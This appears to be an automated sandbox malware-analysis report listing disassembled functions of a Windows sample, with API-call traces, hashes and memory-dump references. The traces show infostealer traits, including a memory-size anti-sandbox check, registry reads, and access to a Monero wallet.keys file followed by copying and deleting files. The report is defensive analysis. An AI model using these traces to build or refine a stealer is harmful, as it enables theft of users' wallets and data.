Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 71b2b1db1cdb6a330ac88c15c0d87455f8dfb4ddc7a7a8221df80378d01c8d89
Instruction ID: 13f22fca769423d1af12b6a01e7484acdfe560d3ba981f94611e27f4b9c22303
Opcode Fuzzy Hash: 71b2b1db1cdb6a330ac88c15c0d87455f8dfb4ddc7a7a8221df80378d01c8d89
Instruction Fuzzy Hash: 9431D1B4A00209EFDB14CFA5C989FAE77B6EF48340F108158E911A7390D779AA41DFA1

Function 006D4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,013EDC50), ref: 006D47DB

Part of subcall function 006D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

lstrcat.KERNEL32(?,00000000), ref: 006D4801
lstrcat.KERNEL32(?,?), ref: 006D4820
lstrcat.KERNEL32(?,?), ref: 006D4834
lstrcat.KERNEL32(?,013DAFC8), ref: 006D4847
lstrcat.KERNEL32(?,?), ref: 006D485B
lstrcat.KERNEL32(?,013ED078), ref: 006D486F

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006D8D90: GetFileAttributesA.KERNEL32(00000000,?,006C1B54,?,?,006E564C,?,?,006E0E1F), ref: 006D8D9F

Part of subcall function 006D4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006D4580
Part of subcall function 006D4570: RtlAllocateHeap.NTDLL(00000000), ref: 006D4587
Part of subcall function 006D4570: wsprintfA.USER32 ref: 006D45A6
Part of subcall function 006D4570: FindFirstFileA.KERNEL32(?,?), ref: 006D45BD

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 32528f0b5a3d6b790f2f6057b735ee778677812dc8fc118d4a17a1712f4e9516
Instruction ID: cfae6a8e0b3534e500e391c74ce178e564ae6b6a6b5463ead194f82bf5b51615
Opcode Fuzzy Hash: 32528f0b5a3d6b790f2f6057b735ee778677812dc8fc118d4a17a1712f4e9516
Instruction Fuzzy Hash: 4A3180B6D003086FCB50FBA0DC89EED7379AB48300F40458EB75996181EE74DA898B99

Function 006C1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006C123E
__aulldiv.LIBCMT ref: 006C1258
__aulldiv.LIBCMT ref: 006C1266
ExitProcess.KERNEL32 ref: 006C1294

Strings

@, xrefs: 006C1233

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 9bb6a994edd52d0b29f004a45a5c568f1a115a9a04bb7f27c13179fd09641ad0
Instruction ID: 2b77bf1e9099391e7e218b3a4d18cb390c2ff6eef6194df9e0f0d3912466ea21
Opcode Fuzzy Hash: 9bb6a994edd52d0b29f004a45a5c568f1a115a9a04bb7f27c13179fd09641ad0
Instruction Fuzzy Hash: 59014BB0D44308AEEB10EBE4CC49FAEBB79EB06701F248049E605BA281D67856818799

Function 006D40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,013ED0D8,00000000,00020119,?), ref: 006D40F4
RegQueryValueExA.ADVAPI32(?,013EDC98,00000000,00000000,00000000,000000FF), ref: 006D4118
RegCloseKey.ADVAPI32(?), ref: 006D4122
lstrcat.KERNEL32(?,00000000), ref: 006D4147
lstrcat.KERNEL32(?,013EDDB8), ref: 006D415B

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: a942fb20d0235f1331ff58ef6ebee1cea0746a753f1e41d5d3235904806840df
Instruction ID: 76763cc9e1a719dfa31aec741e8757a76e6f91aed4adbab211901bb1655e55de
Opcode Fuzzy Hash: a942fb20d0235f1331ff58ef6ebee1cea0746a753f1e41d5d3235904806840df
Instruction Fuzzy Hash: 0C41DBB6D102086FDB14FBA0DC56FFE733EAB89300F40855DB61557281EA759B888BD2

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 006D7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7E37
RtlAllocateHeap.NTDLL(00000000), ref: 006D7E3E
RegOpenKeyExA.KERNEL32(80000002,013DBCB0,00000000,00020119,?), ref: 006D7E5E
RegQueryValueExA.KERNEL32(?,013ED118,00000000,00000000,000000FF,000000FF), ref: 006D7E7F
RegCloseKey.ADVAPI32(?), ref: 006D7E92

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9a3bb63bb060b8caa751548d362bb372635134505bd847e7a8bd90757322987c
Instruction ID: a892357d1d9cac055a88e95600b1803e46fb5d383fc303ea321e60467972f7c9
Opcode Fuzzy Hash: 9a3bb63bb060b8caa751548d362bb372635134505bd847e7a8bd90757322987c
Instruction Fuzzy Hash: 7B113AB1A58309EFD704CB95DD49FBBBBB9EB44B10F10815AFA05A7280D77458019BE2

Function 006C12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006C12B4
RtlAllocateHeap.NTDLL(00000000), ref: 006C12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006C12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006C12F5
RegCloseKey.ADVAPI32(?), ref: 006C12FF

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 2be7f7369c451d7481b4d3ee75cb0d30246907202111786aed9a25bf5b55339d
Instruction ID: 8a7c6232d8babf9b3d4d05f6ad2ec482ebd19fbdaaf86a7cd00372e3e95e69f9
Opcode Fuzzy Hash: 2be7f7369c451d7481b4d3ee75cb0d30246907202111786aed9a25bf5b55339d
Instruction Fuzzy Hash: 030119B9A54308BFDB00DFE0DC49FAEB7B8EB48701F008159FA0597280DA74AA019B91

Function 006CA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(013E8810,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 006CA0BD
LoadLibraryA.KERNEL32(013ED378), ref: 006CA146

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA820: lstrlen.KERNEL32(006C4F05,?,?,006C4F05,006E0DDE), ref: 006DA82B
Part of subcall function 006DA820: lstrcpy.KERNEL32(006E0DDE,00000000), ref: 006DA885

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

SetEnvironmentVariableA.KERNEL32(013E8810,00000000,00000000,?,006E12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,006E0AFE), ref: 006CA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 006CA0B2, 006CA0C6, 006CA0DC

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 08f8cf6f24e6db9bae4cacb28758f59cbc847053a8363fc64ca9b6c25238e706
Instruction ID: 9d8a68f0bfb74386b61f3e58a50a63ce1e3971487d6f77746d47ab4626da7088
Opcode Fuzzy Hash: 08f8cf6f24e6db9bae4cacb28758f59cbc847053a8363fc64ca9b6c25238e706
Instruction Fuzzy Hash: C5414EB192A3049FCB44DFA4EC45FAA33BAFB19305F18011DE505932A1DB355944EF97

Function 006CA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006D8B60: GetSystemTime.KERNEL32(006E0E1A,013E9B28,006E05AE,?,?,006C13F9,?,0000001A,006E0E1A,00000000,?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006D8B86

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006CA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 006CA3FF
lstrlen.KERNEL32(00000000), ref: 006CA6BC

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

DeleteFileA.KERNEL32(00000000), ref: 006CA743

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
